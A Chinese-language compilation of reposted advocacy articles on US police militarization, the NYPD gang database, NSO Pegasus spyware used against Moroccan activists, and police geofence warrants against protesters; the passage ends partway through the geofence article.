2013年，当 Tsarnaev 兄弟在波士顿马拉松赛终点线引爆炸弹，造成3人死亡，264人受伤时，纽约电影制片人 Craig Atkinson 和其他人一样惊恐地看着这场灾难。

但是，他也注意到了其他一些事：波士顿及其郊区的警察把装甲车开到了街头，并部署了一大群打扮得像帝国风暴部队一样的警员，他们扛着突击步枪，在居民区里横冲直撞，仿佛是阿富汗的步兵师。Atkinson 问自己，地方警察部队的装备和战术，什么时候变得像占领军了？

Atkinson 为此制作了一部纪录片：“Do Not Resist”，这部纪录片追踪了全国各地的警察部门如何转变成了就像海军陆战队那样 —— 而且经常表现得像侵略者。

该片将一系列看似毫无关联的事件联系起来 —— 2014年密苏里州弗格森市警方对示威活动的强硬镇压、南卡罗来纳州使用全副武装的特警队进行例行的毒品逮捕等等 —— 展示它们如何成为全国许多警察

部门已经形成的行动模式的一部分。

“我们发现，特警队使用的战术已经发生了巨大的变化，” Atkinson 说，“而这发生在联邦政府向警察部门赠送军事装备的几乎同时。”

Atkinson 并不是第一个详述警察军事化的人。 *Times*、Washington *Post*、*USA Today*、Marshall Project 在更早的时候就做过这样的报道。但是，通过提供一个直观的描述，关于全国各地的警察部队是如何变化的，以及他们是如何使用五角大楼送给他们的特殊武器的，Atkinson 的作品已经完成了一项重要的公共服务。

这部纪录片中有几个令人惊讶的时刻。有FBI的主要顾问 Dave Grossman向一屋子的警察讲授如何在行动中使用暴力（Grossman 告诉他们，最终在事件结束后回到家，所有人都说：“这是我几个月来体验过的最棒的高潮”）；在南卡罗来纳州还有这样的场景：里奇兰县警长部门的特别反应小组进行了一场枪战演习，发射自动武器，看起来很像在巴格达的海豹突击队那样；还有国防部副部长 Alan Estevez 向国会作证，连同众多大型的军事装备，近年来警察部门还得到了一万两千把刺刀。

军方向地方政府捐赠闲置军事装备的做法始于1997年，当时在国防部预算授权中加入了为其制定计划的条款。根据这个所谓的1033项目，国防部公布了一份可供地方政府使用的剩余装备清单。

但转折点 —— 就像许多其他问题一样 —— 出现在911事件之后。自九十年代以来，国防部已经向地方政府捐赠了价值约50亿美元的装备 —— 其中大部分是非致命性物品；但是，实际上，警察部队购置军事装备的总体价值要高得多：地方政府从国土安全部获得了价值大约三百四十亿美元的捐赠，用于从私人供应商那里购买军事装备。这使得总额达到**390**亿美元 —— 比德国的整个国家的国防预算还要高。

1033项目和国土安全计划使全国各地的地方政府获得了一系列惊人的军事装备，包括装甲运兵车、**M-16**突击步枪、榴弹发射器和红外线枪瞄准器，所有这些装备都是为作战而设计的。本不该拿来针对本国老百姓。

在常规赠送给警察部门的车辆中，还有一种防地雷、防伏击的车辆 —— 它的重量高达二十吨左右，是为抵制路边炸弹而设计的。根据 Marshall Project，已经向全国各地的地方政府发放了大约六百辆这种防雷车；每辆防雷车的价格大约为一百万美元。

Marshall Project 组织的调查将国防部的捐赠按县市进行了细分，所以你可以查到你家门口的警察部门获得了哪些军事装备。

结果发现，纽约市在1033项目和国土安全计划下获得的东西竟然很少：只有一对装甲运兵车和其他一些非致命性装备。而我的家乡，佛罗里达州布里瓦德县的治安部门大获全胜，拿到了价值近七百万美元的装备，包括十三架直升机、两辆装甲运兵车、和两百四十六支突击步枪。

2014年，洛杉矶联合学区宣布将归还从国防部获得的三台榴弹发射器，但是，将保留其装甲运兵车和六十一支突击步枪。

“Do Not Resist” 这部片子显示了新罕布什尔州首府康科德的一次市议会会议，会议期间，议员们以压倒性的票数接受了一笔25万美元的联邦拨款，从私人供应商那里购买了一辆 **BearCat** 装甲车。(康科德，人口四万二千，自2004年以来，只记录了两起谋杀案)。

在辩论期间，一位居民举起了一个牌子，上面写着 “多一些 Mayberry，少一些 Fallujah”。另一位康科德居民告诉议员们，他们正在犯一个错误：“恐怖主义之所以有效，是因为它让人们失去理性，让人们自取灭亡。”

【注：梅伯里（Mayberry）是一个虚构的社区，是 Andy Griffith Show 和 Mayberry 的两个热门美国电视情景喜剧的背景，以最严格的治安为特征；费卢杰（Fallujah）是伊拉克安巴尔省城市，位于伊斯兰教什叶派圣城纳杰夫附近。费卢杰又名“清真寺城市”，市郊区内有超过200座清真寺。该城也是逊尼派的重要据点。简单说，这个举牌子的居民是穆斯林恐惧症，支持警察的军事化武装。】

在五角大楼发放免费军事装备的同时，另一件事也在发生：特警队的使用出现了爆炸性的增长，这些特警队往往配备了从联邦政府获得的同样的军事装备。

根据 Atkinson 的报告，在十九世纪八十年代，特警队每年在全国各地部署约三千次。到了2005年，他们平均每年被部署四万五千次；而2015年，这个数字是超过五万次。

在影片中最令人感慨的一个场景中，里奇兰县警察局部署了特别反应小组，突击搜查一个破旧社区的住宅，那里的居民被怀疑存放了大麻。队员们身着全套战斗服 —— 黑色防弹衣、头盔、举着突击步枪 —— 砸碎门窗，进入屋内，逮捕了屋主的儿子。

他们从他那里缴获了873美元的现金，他告诉警察，他需要这些钱来经营他的园艺生意。

他们最终找到了一克半的大麻 —— 最多装满一茶匙。

犯罪嫌疑人的母亲，当时在房子里，没有被捕，她说，“他们基本把我们的房子拆了”，她告诉拍摄者，“我儿子因为他们从书包底部抖出来的一克半大麻而进了监狱。”

Atkinson 告诉我，在南卡罗来纳州的突袭是他拍摄全国各地的警察和治安官一起进行的六次突袭中最典型的一次。尽管使用了所有的军事装备和战术，但是，几乎没有发现什么犯罪活动。“我们一直在出动，但我们从来没有发现什么”，他说。

从这部片子中可以看出，购买军事装备和使用特警队进行常规逮捕是相互促进的 —— 重型武器正在鼓励警察以他们原本不该采取的方式行动。

“Do Not Resist” 片中穿插了密苏里州弗格森市的场景，在一名警察开枪打死手无寸铁的黑人迈克尔·布朗后，那里开始了大规模的示威活动。当人们聚集在街头表达自己的愤怒时，镇上的警察带着装甲车、防暴装备、和胡椒喷雾行动起来。完全可想而知，事件失去了控制。

- 不要错过重要内容《镇压部队最常用哪些武器对付抗议者？- 概览》

奥巴马执政期间，时任芝加哥警察局局长的 Garry McCarthy 对奥巴马总统的所谓 “21世纪警务特别工作组” 说，警方的强硬反应轻率地挑衅了弗格森居民”。“在弗格森发生的事 —— 镇压示威游行的实际做法 —— 我想我们都很尴尬，坦率地说，尤其是执法部门”，“如果你发射催泪瓦斯，你现在只会看到一场骚乱。已经不是一个简单的示威游行。”

一个多世纪以来，联邦法律都禁止在美国境内部署军队对付美国公民。这种区别背后的谨慎是显而易见的，尤其是因为军队接受了使用最大武力的训练，而警察在理想的情况下，只应使用必要的武力来保护自己或当地公民。

“Do Not Resist” 表明，两者之间的区别已经被严重侵蚀。〇

“Do Not Resist” and the Crisis of Police Militarization

原文

“帮派数据库”是什么？为什么据此就可以直接给无辜的市民定下重罪？ - iyouport

维稳面面观

【2018年3月21日存档】穿“错了”衣服会导致你被捕。是什么给了警察如此惊人的霸权？

这是一种美国版的“信用评分”。

中国的信用评分什么样众所周知了，这篇报道描述了美国版的，看起来同样离谱，重要的是评判标准离谱。中国版的信用评分决定你能不能买火车票、以及你的孩子能读什么样的学校；美国版的信用评分决定了谁住在哪里、以及他们可以拥有什么样的汽车，甚至影响就业机会。

美国版版的“公民得分”是由私人团体编制的，他们可以获得信息，人们在放弃隐私时就已经别无选择了。

美国公民自由联盟目前正在起诉波士顿警察局，就是因为这个极为特别的“公民得分”。BPD 掌握着一个黑名单叫“帮派数据库”，他们可以随便把任何人的名字添加进去，或者抹掉。公民积极做的事—甚至他们被迫做的事- 都可以令他们被放入那个被严格监视的列表中。

和中国的信用评分一样，美国的这个黑名单也是积分制的。如果一个人被评估为六分或更多，就会被指定为“与帮派相关”; 如果被评估为十分或更多分，则被指定为“帮派成员”。

这个积分系统可以指定任何为“帮派成员”，而不需要判断此人是否从事过暴力或犯罪活动。

如果这个人是与帮派有关的暴力行为的受害者，他甚至会被评估为8分！是的你没听错，如果你被打了，你就会成为被告。如果你被没长眼的流弹集中了，你就会神奇地升级为黑帮成员。

还有更离谱的呢。仅仅是照片也能定罪，如果你与被指控的帮派成员

或同伙是同学、同事、邻居或家庭成员，你也会被认为存在相关性。

如果警方报告称此人 “与帮派成员一起”吃饭、交流或以其他方式联系“; 包括做手势，如果被认为是一个帮派标志的话你就麻烦了; 并且穿着警方认为与帮派有关的衣服，也算，关键字是“警方认为是”。

如果你在早上起来时穿“错了”衣服，就足以让你的生活完全颠倒。该诉讼指出，**BPD** 已经指定像芝加哥公牛队的帽子和耐克运动鞋这样的衣着都算“帮派服装”。官员经常在公园、学校和娱乐中心监视年轻人—他们肯定会看到人们穿着 NBA 品牌的衣服和耐克鞋。而且，和穿着这样的衣服的人再在一起，你也会被列为“同伙”。

更要命的是，ICE 可以访问 BPD 的数据库，并根据这个极其错误的信息做出驱逐决定。简单说就是，哪天你穿“错了”衣服，会导致你被驱逐出境。

下面是在纽约发生的事。

— –

那天，Keith Shenery 在 Harlem 公共住宅区的院子里和朋友们玩耍，这时警方注意到他从裤子里掏出了个小袋子。警察上前询问时，Shenery 对他们说‘就是一些大麻’。之后警察从他身上搜出了一小袋大麻和一个他祖母给他的礼物，一把折叠刀。

Shenery, 21岁, 因为非法持有大麻和“非法持有武器”而被逮捕（这可是重罪）。

这是一个很不同寻常的严重起诉。公诉人要求他支付一笔 $10,000 的巨额罚款. 他们声称 Shenery 是一个“在册“的帮派成员。

注：非法持有武器(重罪)—— 即 Felon in Possession of a Weapon，一般只适用于被判过重罪的人持有枪支等危险武器的情况。

Shenery 从青年时期开始算，只有三次非暴力轻罪的记录。这次的“罪行”本来也应是那种只要自己承认，当晚就可以被释放的轻罪。Shenery 不明白为什么检方认定他是“帮派成员”而且强烈反对他的上诉。他的案子在法庭纠纷将近两年了，公诉人不停的和法官说“Shenery 是帮派成员”。但是根据法院的文档，检方并没有提供任何证据来证明 Shenery 是属于 Harlem’s Cash Money Boys 这个他们认定的“帮派”，这个帮派是 1990 年发迹于 Lenox 地区的暴力贩毒团体。

自 2017 年4月21日他被逮捕这一年多的时间里，Shenery 发现，检方之所以认定他是“帮派成员”和他们这样起诉的根据，看来是因为 Shenery 被列入了一个纽约警署的数据库，这个数据库里记录了 42,000 多个纽约市民的资料，这些人全被纽约警署认为是“帮派成员”。

正如 Intercept 曾经报道过的, 虽然近年来和帮派有关的犯罪降到了历史上的最低点，纽约警署的“帮派数据库”却大规模的扩大了。

这数据库里的秘密名单只对公诉人开放，而对名单里的人却是保密的。通常这些人只有当被警方逮捕后、遭到莫名其妙的严重起诉、或者高额罚金时，才意识到自己被警方标记在这个名单里了。这个数据库曾经因其专横、标准过于宽泛、和充满歧视性，而受到广泛的批评，根本没有一个明确的程序来发现和质疑一个人和帮派的关系。数据库里如 **Shenery** 这样的年轻非裔和拉美裔人群占据了压倒性的大部分。

很多纽约当地组织要求 NYPD 对这个数据库更加透明化，去年其中一个组织 Legal Aid Society 建立了一个网站，来帮助纽约市民申请索取公开记录的要求，以了解他们是不是在这个数据库的名单里。目前有 300 多人提交了申请，但全被纽约警方拒绝了。

因为公诉人在法庭上认定他是帮派成员这件事，使 Shener y认识到了这个数据库个存在。

去年7月 Shenery 提交了一个基于信息自由法案 (Freedom of Information Law) 的申请，希望了解是警方以什么理由把他标记到了这个数据库的名单里。但是，申请不到一天就被 NYPD 拒绝了。在得到 NYPD 回复说警方找到了关于他的相应记录但是拒绝提供给他后，11月份 Shenery 开始了上诉和控告。

Shenery 拒绝本文的采访。对帮派数据库和 Shenery 的指控 NYPD 的发言人没有回复 The Intercept 的一系列问题，但是发来一封邮件说“对判断某个人是否属于一个已知的犯罪团体，坚持着一个全国最严厉的判断标准“。

一个曼哈顿区检察院办公室的发言人因 Shenery 的“犯罪案件”还在进行中而拒绝发表评论。但是提供了法庭档案，其中包括检方以 Shenery 的过往记录为由，要求罚款的申请。理由还包括曾经缺席法庭审判和一个犯罪公正机构 （Criminal Justice Agency）的建议。Criminal Justice Agency 是一个独立的城市机构，评估一个嫌疑人是

否应被释放。

发言人还说，检察院没有直接连入 NYPD 帮派数据库的权限并且写到，“我们的公诉人不会是引用 NYPD 的帮派数据库名单为理由，此外任何对被告是曼哈顿匪帮的指控都是基于我们办公室的独立分析，其中包括我们独立收集的情报。检方声称被告是“在册“帮派成员的依据是来自社区成员的信息和其他司法部门，包括我们办公室在内的独立收集的情报……“。

律师辩论说没有提供证据就指控某人是帮派成员，将是对被告人司法公正权益的严重冲击。

来自 Legal Aid Community Justice Unit 代表 Shenery 对抗 NYPD 的主管律师 Anthony Posada 说，“在法庭上仅仅因为一个标签就定罪，我们认为人们是在被犯罪。在法庭中如果没有确凿证据和所有合理怀疑被排除前，一个人应该假定是无辜的。而现在发生的却是区检查院依据帮派数据库给人贴标签，正在作出带有偏见的结论“。

当黑人吸大麻时

「图」

虽然纽约警方对他们如何使用所谓的“犯罪集团数据库“透露的很少，因为这个数据库只有他们内部了解，但是众所周知的是，他们会和公诉人和其他司法部门分享被怀疑和帮派有关的人的信息。同样一个清晰的事实是，一但被定义为帮派成员，即使只是依据莫须有的证据并且这些所谓证据不对被告和其律师公开，将会对被告人在法庭上的命运产生极大的不利影响。虽然和帮派有关本身并不构成犯罪，但是公诉人通常用这个理由来作为他们的支持点。

这就是发生在 Shenery 身上的事。

今年早些时候，曼哈顿区检察院发表公告说，不在对持有少量大麻的行为进行公诉，而且呼吁立法者规范化和合法化大麻的使用并且引证到“执法中存在的不可容忍的种族差异缺少道德辩护“。

Shenery 是在政策改变前被逮捕的，但是在一个使用大麻对大部分人来说已经是合法的城市里，他的形象符合那些最容易受到起诉的纽约居民—— 年轻、黑人、来自低收入社区。在检察院发表公告之前，黑人纽约居民因少量持有大麻而被逮捕的数量是白人纽约居民的 8 倍。在曼哈顿则是15倍。

“重力刀”，就是公诉者声称在 Shenery 身上找到的折叠刀，在纽约市也是有争议的，批评者认为折叠刀的非法化导致了上千个工人阶级被逮捕，其中大部分人是有色人种。对重力刀的禁止法案最初只是希望针对危险的弹簧刀，后来甚至对最常见的口袋刀也适用，比如手动折叠刀。您一定知道中国对刀具的管制吧？嗯，在纽约也是如此。

检察院告诉 The Intercept 说，如果当事人在6个月内没有被再逮捕，对于工作需要携带这种道具的人 DA 不给予起诉，或者给一个破坏公共秩序的警告。但是律师说，工人因为刀具被逮捕并被起诉的事件还是在发生。

虽然 Shenery 的案子突出了纽约市警方与少数族裔之间的棘手问题，但要不是被定性为帮会成员，Shenery 也不太会受到重罪起诉和过分的巨额罚款。“对纽约市的几乎任何一个人，这行为顶多是以轻罪被逮捕“， Jane White 来自 Legal Aid 的 Shenery 代理律师如是说。“他们对大部分被告都不这么干，只有对那些被他们盯上的人才这么做，比如针对那些他们希望得到更多信息的人，或者那些他们认为是所谓的“重点人员”的人。

对 Shenery 提出的索取数据库记录的申请， NYPD 声称没有在不暴露对帮会成员进行“非常规”调查方法的情况下来公开关于 Shenery 的记录的方法。但 Legal Aid 的律师回击到 NYPD 决定谁是帮会成员的那些所谓方法早就被公共讨论了，并且它们充满了严重的问题。

6月在城市议会的听证中， NYPD 警长 Dermot Shea 证言，如果个人“承认”属于帮派或者有“两个独立的可信来源”证明这个人属于帮派，那这个人就会被记录到数据库里。在缺少鉴别条件时，NYPD 可能也会将个人加入这个列表，如果这个人符合一个宽泛标准列表中的至少两个条件，比如出现在“已知”的帮会聚集地点、社交媒体内容、疤痕、文身、使用帮会“符号”和“颜色”…… 一份 The Intercept 在6月发表的文档中列出了 NYPD 认为的所谓帮派颜色：黑、金、黄、红、紫、绿、蓝、白、棕、卡其色、灰、橙色和柠檬绿。（没法穿衣服了已经）*Chief of Detectives Dermot Shea speaks during a press conference about gang violence at NYPD headquarters on June 27, 2018. Photo: Drew Angerer/Getty Images*

被列入名单不需要有于犯罪有关的证据，但 Shea 声称当局“引入了防错机制”来确保进入名单的人有“证据支持”。

尽管有 Shea 的证言，当美国全国有色人种协进会 (NAACP) 旗下的司法防御和教育基金会(**NAACP LDF**）公开申请了对这些标准的索取要

求时，NYPD 回应说找不到任何这些所谓的标准“。并且，负责对我们回应的 NYPD 官员坚持称，“警署人员交流这些信息只是相互以口头传述 ”。Marne Lenox，LDF 的一个助理顾问在纽约每日新闻 (New York Daily News) 的社论对页版写到,，“很明显，这就是 NYPD 所谓可以保证数据库可信度的智能防错机制”。Shea 未对 The Intercept 回应他的证言。

批评者说，这个模糊、宽泛、明显不成文的“标准”所带来的问题是，它把完全无辜的行为犯罪化—比如在某个社区里有朋友—并且充满了歧视性。

因为 NYPD 不答应 Shenery 的 FOIL(Freedom of Information Law) 申请，他和他的律师不知道是以什么标准将他列入名单的。“检察院 (DA) 和纽约警属 (NYPD) 之间公开地分享这些信息，可就是不向我们公开，这十分的荒诞”，Shenery 的律师 White 说。DA 发言人告诉 The Intercept 说，“对于向犯罪被告公开合法的相关信息的规定，办公厅一贯合法和专业地履行甚至超额履行应尽的义务，包括在 Shenery 的这个案件里也一样”。

已知的是 Shenery 住在一个特定的社区，并且认识那个社区的一些人。在他被捕后，公诉人给他一个选择，1～3 年的刑期，或者提供他们想要的信息来换取大量的减刑“。警方想要从 Shenery 那里得到他根本就没有的信息”，White 说，“Shenery 他一直说‘我根本不是他们说的那种人’，他不过是像其他纽约市的孩子一样在街上玩耍而已”。

“精准执法“

「图」

检方和警方常常辩解说他们的执法手段如 外科手术般精确—即便是这些手段常导致的是大规模搜查和起诉。在执法部门的字典里，对帮派的执法和公诉是 “情报驱动的” 和“主动积极的”， 但实际的意思是“以对帮派的执法为理由，一个人即使没有、甚至没有意图参与任何严重犯罪或者帮派犯罪的情况下，也可以受到执法部门的搜查。

The Intercept 得到了一系列来自曼哈顿检察院的培训用文件，这些文件里展示了帮派标签是如何标记的，对于一个因微小违规和警察偶尔打过交道的人，一个未经证实的指控可以诱发一系列的后果并强化指控。在一个犯罪战略单位 (Crime Strategies Unit) 的 PPT 和一份关于创新调查的报告里,检方展示了在司法过程中，当逮捕令在警方和检方分享时，一个人同时会也被标记在一系列执法部门名单里,其中包括帮

派数据库。在标题为“案件强化 (case enhancement)”的幻灯片里，还列出了诸如嫌疑人的社交媒体或昵称的信息。检察院发言人称,“案件强化(case enhancement)”可以引导潜在的调查步骤，发掘更多信息和帮助量刑。

Shenery 的案件就是这种执法是如何执行的一本教科书。

“所以他先因为持有大麻被指控”， Posada 说, “然后，因为这种他们所谓的精准执法，他们加重了指控，以一把手动折叠刀附加上了非法持有武器(重罪)这个罪名”。

“**[**帮派标签**]** 在法庭上被武器化了，区检察院可以用它来给案件施加更多压力”，他补充道。*In a PowerPoint presentation by the Manhattan District Attorney's Office, used for a summit on "intelligence-driven prosecution," the DA's Crime Strategies Unit lays out how information about suspects' alleged gang membership status is shared between police and prosecutors across jurisdictions. The slides also show what prosecutors can use for "case enhancement" purposes, including suspects' social networks. The Intercept redacted the slides to hide identifying details.Images: Manhattan District Attorney's Office*

Legal Aid 不是唯一一个试图通过法院程序来迫使 NYPD 的帮派执法手段更透明化的组织。

LDF 和宪法权利中心 (Center for Constitutional Rights) 对 NYPD 拒绝公开数据库记录提起了诉讼。

CCR 的一位高级律师 Darius Charney 说：“**NYPD** 的关于帮派的执法手段是一种暗箱操作的截查 **(stop and frisk)** 行为，这种行为在过去几年中把上千个纽约市的年轻有色人种置于警方监控、骚扰甚至更糟糕的情况下”。 LDF 向 Manhattan DA 提出了相似要求，同时也向纽约市教育部门 (New York City Department of Education) 提出了一个申请。

今年早些时候，这个帮派数据库在纽约市听证会受到了高度的关注调查。在听证期间 NYPD 对 The Intercept 的关于这个数据库报告和图表数据提出质疑，而这些图表数据本来就是 NYPD 自己为了回应另一个公开申请而给出的。

一向关注警方执法疏忽的听证会委员 Brad Lander 告诉 The Intercept 说，“这次听证会引出的问题比解决的问题更多”。这促使了他和其他

委员给 NYPD 的内部调查部门 (Inspector General) 打电话，内部调查部门的任务正是独立监督执法部门的工作情况，来调查这个帮派执法手段。

听证过后内部调查部门对相关者表示调查会被考虑—但是没有正式宣布调查。BuzzFeed News 报道说调查局 (Department of Investigation) 头目 Mark Peters “不鼓励”关于帮派数据库的调查，Mark Peters 最近被市长 Bill de Blasio 抄了鱿鱼。主管 NYPD 内部调查部门的调查局拒绝对次作出评论。

“我们没有从他们那里得到公开调查的承诺,但是我们要求他们这么做,他们对这个请求严肃看待, 然后我希望他们在最近会尽快实施调查,” Lander 告诉 The Intercept. “我曾经希望他们会快速地采取行动”。

“很多警方执法都是类似的情况，但特别是在这个事件里，警方想以最大化的不透明方式进行执法.”长期反对警方帮派执法方式的社区组织者 Josmar Trujillo 告诉 The Intercept，“这基本上就是他们常用的执法方式。但这个事件显示，他们正在建立一个会影响上千上万人的基础设施，其中包括中学生年龄段的年青人。而公众除了起诉，甚至没有别的办法可以阻止他们”。

Trujillo 提到这个帮派数据库所建立的充满歧视性且不受约束的执法方式不是新鲜事，但 NYPD 对依赖数据驱动，积极主动的执法技术日益增长的强调是史无前例的。

“人们直接的感到警察会怎么用这个帮派标签：一个警察可以直接给你贴上帮派标签，然后公诉方可以在法庭上对你做他们想要的任何事。从人们的经验和历代记忆里知道对有色人种的执法和公诉是什么样的”，Trujillo 说.，“我认为人们不知道的是，警察把这种执法制度化到了什么程度、以及警方被允许应用的是什么样的技术。人们没有意识到有多少基础设施，多少投资投入，到了这种将来的执法方式里。你问100个纽约人，有99个不知道什么叫预防性执法”—— 就是少数派报告中的那种东西。

“这个不一定和公众的无知有关，而更多的是 NYPD 的不透明和暗中允许 NYPD 这种执法的实行有关”。 Trujillo 补充道“我们现在刚知道事情的一角，就很令人担忧了。你能想像到这种事的全景吗？警方在暗地里还在做些什么？”

尽管关于这个数据库和它的用法还是秘密，但人们已经感受到了它所造成的冲击。

两年来的案件纠纷让 Shenery 身心疲惫，一下子发生了那么多事，他甚至只想干脆接受重罪的判决，让这一切快点结束。最后他还是被判处有罪，不过达成了一个“协议”：如果他在之后的一年中遵守一系列条件，重罪会被降级为轻罪。不过这也意味着他不得不常常要回到法院，他的下个听证在星期四。

“当听到这些时，Shenery 十分难以接受，这个基于错误观点对他起诉的案子时间拖的如此漫长，而且结果又是这样”， White 说，“Shenery 认为这不公平，而且他们也没有理由和正当基础对他做出这些事。但他同时感觉这个斗争也是徒劳的，反正每当警察看见他时都会认定了他是帮派成员……

如何才能制止这种荒诞的噩梦？〇

原文

“间谍软件把我的生活变成了地狱”：遭受Pegasus的人权活动家说 - iyouport

以色列和NSO-间谍产业的领主维稳面面观

【2020年5月14日存档】调查报告比揭露更重要，前者能帮你摸清攻击模式，以便构建最有效的防御措施

NSO的间谍软件并没有在去年的大规模揭露和全球性的谴责之下偃旗息鼓，调查人员继续发现它被用于危害人权。

- 《大规模网络钓鱼、监视和在线攻击成为活动家不得不面对的危险》

国际特赦组织（Amnesty International）的一份新报告显示，为政府工作的黑客利用臭名昭著的以色列监视供应商 NSO 集团制造的恶意软件瞄准了两名摩洛哥人权活动家。

- 更多参见专栏 “关于以色列和NSO”

在报告中，大赦国际的研究人员详细介绍了对历史学家和记者 Maati Monjib 、及代表摩洛哥一群抗议者的人权律师 Abdessadak El Bouchattaoui 发起的一系列攻击。

自2017年以来，两人收到了一系列的文本消息，其中包含曾经被用于攻击国际特赦组织成员以及数字权利组织 Citizen Lab 的基础设施的恶意链接。

只要目标人点击了这些链接，就可以自动在目标手机上静默安装 NSO 的 Pegasus 间谍软件。

- 《Report：以色列 NSO 生产的间谍软件 Pegasus 在45个国家被用于监视和攻击异议人士及活动家—⚠ 亚洲有香港》

Pegasus 是 NSO 集团生产的监视软件。在过去的几年中，安全研究人员发现了许多证据，证明墨西哥、沙特阿拉伯和阿联酋等国家都在使

用 Pegasus 监视记者、人权活动家和持不同政见者。

而这次发现的攻击是政府如何使用先进的监视技术来骚扰和恐吓异议人士和人权活动家的又一个例子。

“通过侵入性数字监视使说出摩洛哥人权记录真相的和平评论家和激进抗议者遭受到骚扰或恐吓，这是对他们隐私权和表达自由权的严重侵犯”，国际特赦组织副主任在新闻稿中说。

Monjib 告诉 Motherboard，在过去的几年中，“物理监视和电子监视使我陷入了地狱般的生活。”

“他们希望我感到不安全，他们的确在这方面取得了成功，而且一次又一次地。我一生中的每一分钟都承受着压力。但我不会投降。” 他在网上聊天中说，“他们的确很强大，但我想向他们展示我的决心。”

NSO集团发言人继续狡辩，声称这是滥用，他们“会调查”。但是这种间谍技术只出售给政府，NSO “期待” 政府如何使用它呢？

NSO 集团是向全球政府出售间谍软件和黑客工具的监视巨头公司之一。该公司表示，它只出售给执法部门和情报机构。

国际特赦组织研究人员还发现了一种更不寻常且隐秘的黑客类型的证据，称为“中间人攻击”或网络注入攻击。控制互联网基础结构的攻击者操纵并拦截Web流量，以将对合法网站的访问重定向到恶意网站，从而使恶意软件感染目标。

去年早些时候，Monjib 尝试在其 iPhone 的 Safari 浏览器中输入 Yahoo.fr 来访问法语版的雅虎网站。

据大赦国际的研究人员称，浏览器并没有将他定向到官方网站，而是转到了另一个可能在手机上安装恶意软件的网站，他们相信至少有一次 **Monjib** 的手机被成功入侵了。

研究人员能够通过检查 Monjib 的浏览历史来发现这一点。

调查不确定这些中间人攻击是否也使用了 NSO 集团的技术，但一些间接证据指明了这一方向。

首先，网络注入攻击是在恶意SMS攻击之后出现的。其次，根据作为 Hacking Team 泄露的产品手册，其中显示NSO向客户提供了这种功能。

- 关于 Hacking Team

“很重要的一点是，要记录针对民间社会使用的攻击能力类型，以便帮助处于危险境地的个人正确地制定战略措施来保护自己，” 调查这些攻击的研究人员说。

“这种类型的攻击很难识别和预防，摩洛哥的人权捍卫者及其支持网络应被告知可能面临的挑战。” ○

Human Rights Activist Allegedly Targeted With NSO Malware Says His Life Is ‘Hellish’

原文

AS52 警察如何利用抗议者的手机追踪每个人 - iyouport

维稳面面观

【2020年10月29日存档】中国目前还没有大规模的反抗运动；但是，**完全不需要** 大规模的反抗运动出现，即便在日常状况下，您也很有可能被同样的大撒网监视方法所捕获。所以不论您是不是反抗者，都应该了解这些事。这里的 “谷歌”，在中国就等于百度和高德

【按】中国有同样的的追踪监视能力，这就是为什么我们需要介绍这篇文章。别忘了，中国的监视还有美国的协助，见《美国科技巨头如何帮助中国建立大规模监视系统》。

中国目前还没有大规模的反抗运动，但没有人能预测什么时候会有；尤其是，**完全不需要** 大规模的反抗运动出现，即便在日常状况下，您也很有可能被同样的大撒网监视方法所捕获。

所以，不论您是不是反抗者，都应该了解这些事。这里的 “谷歌”，在中国就等于百度和高德。

如今的警察监控大多不再瞄准单一的目标人，而是设置地理围栏 ——在地图上画一个圈，偶然出现在这个圈儿里面的任何人都会被纳入监控。

利用这些范围广泛的数据请求，警方经常从谷歌等寡头公司获得信息，收集当时在该地区（那个圈儿里面）的任何人的数据，而被牵连进去的几乎所有的人都是无辜的。甚至重大案件如凶杀案，警察也这么干。

- 《你的手机知道一切，并且很愿意告诉警察：法律不保护你》

与此同时，在明尼阿波利斯市 George Floyd 被警员杀害所引发的对警察暴行的抗议活动后，全国已有上万人被捕。BuzzFeed 新闻报道

称，缉毒局已被授权对抗议者进行监视。

- 在这里看到总结 《警察用哪些监视方式瞄准抗议者？》

地理围栏监视，有时也被称为反向地理定位搜索，只是其中的一种工具。它们有效地允许警方通过一个单一的请求就能获得每个抗议者的信息。

谷歌因为其位置追溯功能而令警方可以获得这些请求中的大部分满足，谷歌称它只提供已经加入该功能的用户的数据，这需要选择加入。

- 那可不一定，两年前就有结论显示，即便用户在 Google 帐户中关闭了“位置历史记录”设置，该公司仍然可以记录你的位置，见《可以采取哪些措施来阻止 Google 和其他人跟踪您的手机？》

“我们大力保护用户的隐私，同时支持执法部门的重要工作。我们专门为这些请求制定了一个流程，旨在履行我们的法律义务，同时缩小披露数据的范围”，谷歌的执法和信息安全总监理 Richard Salgado 在一份声明中说。

说的真好听。“隐私” 成为了羊头的狗肉，不要上当。

- 《以隐私为目的的斗争如何让你变成了监视的盟友》
- 《在CES上，技术寡头正努力宣扬隐私，不要相信他们的炒作》

请注意，谷歌没有就是否会遵守与追踪抗议者有关的地理围栏搜查令发表评论。

警察监视公众的工具数量空前，这促使技术人士制定了几份关于在参加抗议活动时维护自己隐私的指南。

- 《如何在监视时代参加抗议活动》
- 《如何识别抗议活动中可见的和不可见的监视》
- 《在将抗议现场的照片和视频发布到社交媒体上之前，请执行此操作》

警方过去也曾使用过类似的手段来识别示威者的身份。EFF获得的记录发现，加州大学警方向电话供应商发出搜查令，以确定**2017**年加州大学伯克利分校抗议活动中的示威者的电话号码和姓名。

“想象一下，这种工具可以如此轻易地被用来识别抗议活动中的每一个人，无论他们是否违法或有任何不法行为的嫌疑，这会让人不寒而栗。” 监视技术监督项目执行主任 Albert Fox Cahn 说。

以下是对地理围栏监控的分析，它们被使用的频率，以及如何找出您本人是否已经成为这些扫荡式监控策略的一部分。

1、什么是地理围栏监控

「图」

地理围栏搜查令是警方向科技公司发出的关于特定区域内所有设备信息的搜查令。

通常情况下，搜查令本应该是在有正当理由的情况下进行的，并与特定的嫌疑人或地址挂钩。但是，地理围栏搜查令允许跨区域进行全面搜查，并且不需要正当理由，甚至不需要知道嫌疑人是谁。

如果一家公司遵守搜查令，它就必须提供特定区域内所有设备在特定时间的详细信息。这意味着警察不仅会获得他们认为是嫌疑人的人的数据，还能获得在同一时间碰巧出现在同一地点的所有人的信息。

其中很多请求都是发给谷歌的，因为安装在25亿台活跃设备上的安卓操作系统比苹果的iOS系统更加普及。谷歌也有一些应用，比如谷歌地图，普及率非常高，可以收集安装在任何设备上的数据 —— 包括苹果产品。

虽然警察可以向其他任何公司发出请求，但很多公司并不像谷歌那样拥有广泛的覆盖面和位置数据保留。

向谷歌发出的地理围栏搜查令请求，要求从其 Sensorvault 数据库中获取信息，该数据库拥有数亿人的位置记录。该数据库旨在用于谷歌的广告目的，但是，警方正越来越多地将其用于追踪任何人。

